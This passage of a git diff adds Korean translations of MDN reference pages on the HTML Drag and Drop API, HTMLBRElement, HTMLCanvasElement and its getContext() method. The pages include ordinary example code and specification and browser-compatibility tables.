+<p>기본적으로는 브라우저는 HTML 요소에 뭔가를 드롭했을 때 아무 일도 일어나지 않도록 합니다. 특정 요소가 드롭 지역 혹은 droppable로 만들기 위해서는 해당 요소가 {{domxref("GlobalEventHandlers.ondragover","ondragover")}}와 {{domxref("GlobalEventHandlers.ondrop","ondrop")}} 이벤트 핸들러 속성을 가져야합니다. 아래 예제는 두 요소를 어떻게 사용하고, 각 요소에 포함된 기본적인 이벤트 핸들러를 보여줍니다.</p>
+
+<pre class="notranslate">&lt;script&gt;
+function dragover_handler(ev) {
+ ev.preventDefault();
+ // dropEffect를 move로 설정.
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
+ const data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Drop Zone&lt;/p&gt;</pre>
+
+<p>각 핸들러는 {{domxref("Event.preventDefault","preventDefault()")}} 를 호출해 추가적인 이벤트 (터치 이벤트나 포인터 이벤트) 가 일어나지 않도록 합니다.</p>
+
+<p>추가적인 정보는, <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>를 참고하세요.</p>
+
+<h3 id="드롭_효과_다루기">드롭 효과 다루기</h3>
+
+<p>{{event("drop")}} 이벤트 핸들러는 자유롭게 드래그 데이터를 가공할 수 있습니다. 보통, 드래그 아이템과 각 아이템을 가공하기 위해 {{domxref("DataTransfer.getData","getData()")}}를 사용합니다. 추가로, {{domxref("DataTransfer.dropEffect","dropEffect")}} 값이나 보조키 상태에 따라 어플리케이션이 어떻게 동작할지를 결정할 수 있습니다.</p>
+
+<p>아래 예제는 드롭 핸들러가 드래그 데이터로부터 드래그하는 요소의 id를 가져와 드래그하는 요소를 드롭하는 요소로 옮기기위해 사용합니다.</p>
+
+<pre class="notranslate">&lt;script&gt;
+function dragstart_handler(ev) {
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
+ // Get the id of the target and add the moved element to the target's DOM
+ const data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event)"&gt;This element is draggable.&lt;/p&gt;
+&lt;div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Drop Zone&lt;/div&gt;</pre>
+
+<p>더 많은 정보를 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>을 보십시오.</p>
+
+<h3 id="드래그가_끝나면">드래그가 끝나면</h3>
+
+<p>드래그가 끝나면 드래그한 요소에 {{event("dragend")}} 이벤트가 발생합니다. 이 이벤트는 드래그가 완료되거나 중간에 취소되어도 발생합니다. {{event("dragend")}} 이벤트 핸들러는 {{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티를 확인해 드래그가 성공했는지를 확인할 수 있습니다.</p>
+
+<p>드래그 끝을 다루기 위한 더 많은 정보는 <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>를 참고하세요. </p>
+
+<h2 id="상호_운용성">상호 운용성</h2>
+
+<p><a href="/docs/Web/API/DataTransferItem#Browser_compatibility">DataTransferItem interface's Browser Compatibility table</a>에 나온 대로, 드래그 앤 드롭은 상대적으로 여러 데스크톱 브라우저에서 폭넓게 사용할 수 있습니다 ({{domxref("DataTransferItem")}}는 {{domxref("DataTransferItemList")}} 덜 지원하지만). 또한 모바일 브라우저에서는 매우 한정적으로 사용할 수 있습니다.</p>
+
+<h2 id="Examples_and_demos" name="Examples_and_demos">예제와 데모</h2>
+
+<ul>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransfer.html">Copying and moving elements with the <code>DataTransfer</code> interface</a></li>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransferItemList.html">Copying and moving elements with the <code>DataTransferListItem</code> interface</a></li>
+ <li>파일 드래그 앤 드롭; 파이어폭스 전용: <a class="external" href="http://jsfiddle.net/9C2EF/" title="http://jsfiddle.net/9C2EF/">http://jsfiddle.net/9C2EF/</a></li>
+ <li>파일 드래그 앤 드롭; 모든 브라우저: <a class="external" href="https://jsbin.com/hiqasek/edit?html,js,output" title="https://jsbin.com/hiqasek">https://jsbin.com/hiqasek/</a></li>
+</ul>
+
+<h2 id="명세서">명세서 </h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"><strong>Specification</strong></th>
+ <th scope="col"><strong>Status</strong></th>
+ <th scope="col"><strong>Comment</strong></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#dnd")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">더보기</h2>
+
+<ul>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations" title="Drag Operations">Drag Operations</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items" title="Dragging and Dropping Multiple Items">Dragging and Dropping Multiple Items</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types" title="Recommended Drag Types">Recommended Drag Types</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+ <li><a href="http://caniuse.com/#search=draganddrop" title="Drag and Drop interoperability data from CanIUse">Drag and Drop interoperability data from CanIUse</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlbrelement/index.html b/files/ko/web/api/htmlbrelement/index.html
new file mode 100644
index 0000000000..85cbe5d72b
--- /dev/null
+++ b/files/ko/web/api/htmlbrelement/index.html
@@ -0,0 +1,64 @@
+---
+title: HTMLBRElement
+slug: Web/API/HTMLBRElement
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLBRElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLBRElement</code></strong> 인터페이스는 HTML 줄바꿈 요소({{htmlelement("br")}})를 나타냅니다. {{domxref("HTMLElement")}}를 상속합니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBRElement.clear")}} {{obsolete_inline}}</dt>
+ <dd>떠있는 요소 주변 텍스트의 흐름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#htmlbrelement", "HTMLBRElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "textlevel-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>No change from {{SpecName("DOM2 HTML")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLBRElement")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{HTMLElement("br")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcanvaselement/getcontext/index.html b/files/ko/web/api/htmlcanvaselement/getcontext/index.html
new file mode 100644
index 0000000000..89a54a2c1d
--- /dev/null
+++ b/files/ko/web/api/htmlcanvaselement/getcontext/index.html
@@ -0,0 +1,144 @@
+---
+title: HTMLCanvasElement.getContext()
+slug: Web/API/HTMLCanvasElement/getContext
+tags:
+ - API
+ - Canvas
+ - HTMLCanvasElement
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/HTMLCanvasElement/getContext
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p><span class="seoSummary"><strong><code>HTMLCanvasElement.getContext()</code></strong> 메소드는 캔버스의 드로잉 컨텍스트를 반환합니다. 컨텍스트 식별자가 지원되지 않을 경우 {{jsxref("null")}}을 반환합니다.</span></p>
+
+<p>동일한 캔버스 엘리먼트에서 나중에 이 메소드를 호출하면 동일한 <code>contextType</code> 인자와 함께 메소드가 마지막으로 호출되었을 때 반환된 것과 같이 동일한 드로잉 컨텍스트 인스턴스를 반환합니다. 다른 드로잉 컨텍스트 객체를 얻으려면 다른 <code>contextType</code>을 전달하거나 다른 캔버스 엘리먼트에서 메소드를 호출해야 합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>);
+var <em>ctx</em> = <em>canvas</em>.getContext(<em>contextType</em>, <em>contextAttributes</em>);
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>contextType</code></dt>
+ <dd>캔버스에 연관된 드로잉 컨텍스트를 정의하는 컨텍스트 식별자를 갖는 {{domxref("DOMString")}}입니다. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>"2d"</code>, 2차원 렌더링 컨텍스트를 나타내는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성하게 합니다.</li>
+ <li><code>"webgl"</code> (또는 <code>"experimental-webgl"</code>), 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a> 버전 1 (OpenGL ES 2.0)을 구현하는 브라우저에서만 사용가능합니다.</li>
+ <li><code>"webgl2"</code>, 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL</a> 버전 2 (OpenGL ES 3.0)를 구현하는 브라우저에서만 사용가능합니다. {{experimental_inline}}</li>
+ <li><code>"bitmaprenderer"</code>, 캔버스의 컨텐츠를 주어진 {{domxref("ImageBitmap")}}으로 대체하기위한 기능만을 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>노트</strong>: 식별자 <code>"experimental-webgl"</code>은 WebGL의 새로운 구현에서 사용됩니다. 이러한 구현은 테스트 스위트 적합성을 아직 만족하지 못하며, 플랫폼 상의 그래픽 드라이버도 아직 불안정합니다. <a href="https://www.khronos.org/">Khronos Group</a>은 특정 <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">적합성 규칙</a>에 따라 WebGL 구현을 인증합니다.</p>
+ </div>
+ </dd>
+ <dt><code>contextAttributes</code></dt>
+ <dd>
+ <p>렌더링 컨텍스트를 생성할 때 몇 가지 컨텍스트 속성을 사용할 수 있습니다. 예를 들면:</p>
+
+ <pre class="brush: js">const gl = canvas.getContext('webgl', {
+ antialias: false,
+ depth: false
+});</pre>
+ 2d 컨텍스트 속성:
+
+ <ul>
+ <li><strong><code>alpha</code></strong>: 캔버스가 알파 채널을 포함하는지를 나타내는 불리언입니다. <code>false</code>로 설정할 경우, 브라우저는 이제 배경이 항상 투명하다는 것을 알기때문에 투명한 컨텐츠나 이미지를 그리는 속도를 높일수 있습니다.</li>
+ <li>{{non-standard_inline}} (Gecko 전용) <strong><code>willReadFrequently</code></strong>: 많은 다시 읽기 작업이 계획되어있는지 여부를 나타내는 불리언입니다. 이는 소프트웨어(하드웨어 가속 대신) 2D 캔버스의 사용을 강제하며 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} 호출이 빈번할때 메모리를 절약할 수 있습니다. 이 옵션은 <code>gfx.canvas.willReadFrequently.enable</code> 플래그가 <code>true</code>(기본 값이며, B2G/Firefox OS에만 해당) 설정되었을 경우에만 사용가능합니다.</li>
+ <li>{{non-standard_inline}} (Blink only) <strong><code>storage</code></strong>: 어떤 스토리지가 사용되었는지를 나타내는 문자열입니다(기본값은 "persistent").</li>
+ </ul>
+ WebGL 컨텍스트 속성:
+
+ <ul>
+ <li><strong><code>alpha</code></strong>: 캔버스가 알파 버퍼를 포함하는지 여부를 나타내는 불리언입니다.</li>
+ <li><strong><code>antialias</code></strong>: 안티 앨리어싱을 수행할지 여부를 나타내는 불리언입니다.</li>
+ <li><strong><code>depth</code></strong>: 드로잉 버퍼가 최소 16 비트의 깊이 버퍼를 갖는지 여부를 나타내는 불리언입니다.</li>
+ <li><code><strong>failIfMajorPerformanceCaveat</strong></code>: 시스템 성능이 낮을 경우에 컨텍스트를 생성할지 여부를 나타내는 불리언입니다.</li>
+ <li><code><strong>powerPreference</strong></code>: WebGL 컨텍스트에 대해 적합한 GPU 구성이 무엇인지를 나타내는 유저 에이전트에 대한 힌트입니다. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>"default"</code>: 유저 에이전트가 가장 적합한 GPU 구성을 결정하도록 합니다. 기본 값입니다.</li>
+ <li><code>"high-performance"</code>: 전력 소비보다 렌더링 성능을 우선시합니다.</li>
+ <li><code>"low-power"</code>: 렌더링 성능보다 전력 절약을 우선시합니다.</li>
+ </ul>
+ </li>
+ <li><strong><code>premultipliedAlpha</code></strong>: 페이지 컴포지터가 미리 곱해진 알파를 갖는 컬러를 포함하는 드로잉 버퍼를 가정할 것인지 여부를 나타내는 불리언입니다.</li>
+ <li><strong><code>preserveDrawingBuffer</code></strong>: 값이 true일 경우 버퍼는 제거되지 않으며 값이 제거되거나 덮어쓰여지기 전까지 유지됩니다.</li>
+ <li><strong><code>stencil</code></strong>: 드로잉 버퍼가 최소 8 비트의 스텐실 버퍼를 갖는지 여부를 나타내는 불리언입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RenderingContext")}}는 다음 중 하나입니다.</p>
+
+<ul>
+ <li><code>"2d"</code> 용 {{domxref("CanvasRenderingContext2D")}},</li>
+ <li><code>"webgl"</code> 및 <code>"experimental-webgl"</code> 용 {{domxref("WebGLRenderingContext")}},</li>
+ <li><code>"webgl2"</code> 용 {{domxref("WebGL2RenderingContext")}}</li>
+ <li><code>"bitmaprenderer"</code> 용 {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
+
+<p><code>contextType</code>이 가능한 드로잉 컨텍스트와 일치하지 않으면, <code>null</code>이 반환됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 {{HTMLElement("canvas")}} 엘리먼트를 고려해볼 때:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>다음 코드를 사용해 캔버스의 <code>2d</code> 컨텍스트를 얻을 수 있습니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+console.log(ctx); // CanvasRenderingContext2D { ... }
+</pre>
+
+<p>이제 캔버스에 대한 <a href="/ko/docs/Web/API/CanvasRenderingContext2D">2D 렌더링 컨텍스트</a>를 갖고 있으며 이 안에 그릴 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>최신 스냅샷 {{SpecName('HTML5 W3C')}} 이후에 변경사항 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "semantics-scripting.html#dom-htmlcanvaselement-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 정의를 포함하는 {{SpecName('HTML WHATWG')}}의 스냅샷.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.getContext")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이를 정의하는 인터페이스 {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>사용 가능한 렌더링 컨텍스트: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}}, {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlcanvaselement/index.html b/files/ko/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..cd8c23eb12
--- /dev/null
+++ b/files/ko/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,242 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p><strong><code>HTMLCanvasElement</code></strong> 인터페이스는 &lt;canvas&gt; 요소의 레이아웃이나 프레젠테이션을 조작하는 여러 프로퍼티와 메서드들을 제공합니다. 또한 <code>HTMLCanvasElement</code> 인터페이스는 {{domxref("HTMLElement")}} 인터페이스의 여러 프로퍼티와 메서드들을 상속받습니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>부모객체인 <em>{{domxref("HTMLElement")}} 로</em>부터 프로퍼티를 상속받음. </em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("height", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다. 속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 150이 사용됩니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("moz-opaque", "canvas")}}를 반영하는 {{jsxref("Boolean")}} 객체입니다. 이는 &lt;canvas&gt;에게 반투명이 인자로 사용될지에 대한 여부를 알려줍니다. 만약 반투명 요소가 없다면, &lt;canvas&gt;의 성능이 최적화될 수 있습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>는 {{HTMLElement("canvas")}} 요소에서 HTML 속성인 {{htmlattrxref("width", "canvas")}}를 반영하는 양의 정수이며, CSS의 픽셀값으로 해석되어집니다.  속성값이 주어지지 않거나, 음수와 같이 올바르지 않은 값이 주어진 경우에는 기본 값인 300이 사용됩니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}</dt>
+ <dd>는 페이지가 프린트 되는 경우 호출되는 함수입니다. 사용자는 해당 객체에 특정 자바스크립트 함수를 등록함으로써, 만약 프린터가 사용되는 경우 &lt;canvas&gt;를 더욱 고해상도로 다시 그리게 할 수 있습니다. 기본적으로 null 값을 갖습니다. <a href="https://blog.mozilla.org/labs/2012/09/a-new-way-to-control-printing-output/">다음의 블로그 글을 참조하세요.</a></dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모객체인 {{domxref("HTMLElement")}} 로부터 메서드를 상속받음.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>&lt;canvas&gt; 상의 화면을 실시간 비디오로 캡처할 수 있는 {{domxref("CanvasCaptureMediaStream")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>&lt;canvas&gt; 상의 드로잉 컨텍스트를 반환합니다. 만약 컨텍스트 ID가 지원되지 않는 경우 null값을 반환합니다. 드로잉 컨텍스트는 &lt;canvas&gt; 상에 그림을 그릴 수 있게 해줍니다.  getContext를 <code>"2d"</code> 를 매개 변수로 호출한다면 {{domxref("CanvasRenderingContext2D")}} 객체를 반환할 것이며, <code>"experimental-webgl"</code> (또는 <code>"webgl"</code>) 를 매개 변수로 호출한다면 {{domxref("WebGLRenderingContext")}} 객체를 반환할 것입니다. 후자의 컨텍스트의 경우 <a href="/en-US/docs/Web/WebGL">WebGL</a> 이 구현된 브라우저에서만 사용 가능합니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd><code>type</code> 파라미터에서 지정하고 있는 포맷(기본: png) 의 이미지를 나타내는 data-URL을 반환합니다. 반환된 이미지는 96dpi의 해상도를 갖습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>&lt;canvas&gt;가 포함하고 있는 이미지를 나타내는 {{domxref("Blob")}} 객체를 생성합니다. 이 파일은 사용자의 브라우저에 따라 디스크나 메모리에 캐싱되거나 저장될 수 있습니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>메인 쓰레드나 워커 쓰레드에서 {{domxref("OffscreenCanvas")}} 객체에게 제어 권한을 넘깁니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>&lt;canvas&gt;가 포함하고 있는 이미지를 나타내는 {{domxref("File")}} 객체를 반환합니다. 이 파일은 메모리 기반의 파일이며, <code>name</code> 의 이름을 갖습니다. 만약 <code>type</code> 이 지정되지 않는다면, 이미지는 기본적으로 <code>image/png</code>의 타입을 갖게 될 것입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td><code>captureStream()</code> 메서드 추가하기</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>
+ <p><code>getContext()</code> 메서드가 이제 단순히 객체를 반환하지 않고 {{domxref("RenderingContext")}} 를 반환함. <br>
+ <code>다음의 메서드가 추가됨: probablySupportsContext()</code>, <code>setContext()</code> 와 <code>transferControlToProxy()</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support (<code>2D</code> context)</td>
+ <td>4.0</td>
+ <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+ <td>9.0</td>
+ <td>9.0 [1]</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td><code>toBlob()</code></td>
+ <td>50</td>
+ <td>{{CompatGeckoDesktop('19')}} [2]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+ </tr>
+ <tr>
+ <td><code>probablySupportsContext()</code>,<br>
+ <code>setContext()</code>,<br>
+ <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop('2')}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>captureStream()</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop('41')}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(44)}} [3]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support (<code>2D</code> context)</td>
+ <td>2.1</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10.0 [1]</td>
+ <td>3.2</td>
+ </tr>
+ <tr>
+ <td><code>webgl</code> context</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>toBlob()</code></td>
+ <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+ <td>50</td>
+ <td>{{CompatGeckoMobile('18')}} [2]</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+ </tr>
+ <tr>
+ <td><code>probablySupportsContext()</code>,<br>
+ <code>setContext()</code>,<br>
+ <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile('2')}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>captureStream() </code>{{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile('41')}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile(44)}} [3]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Opera Mini 5.0 and later has partial support.</p>
+
+<p>[2] Support for the third parameter, has been added in Gecko 25 only: when used with the <code>"image/jpeg"</code> type, this argument specifies the image quality.</p>
+
+<p>[3] This feature is behind a feature preference setting. In about:config, set <code>gfx.offscreencanvas.enabled</code> to <code>true</code>.</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
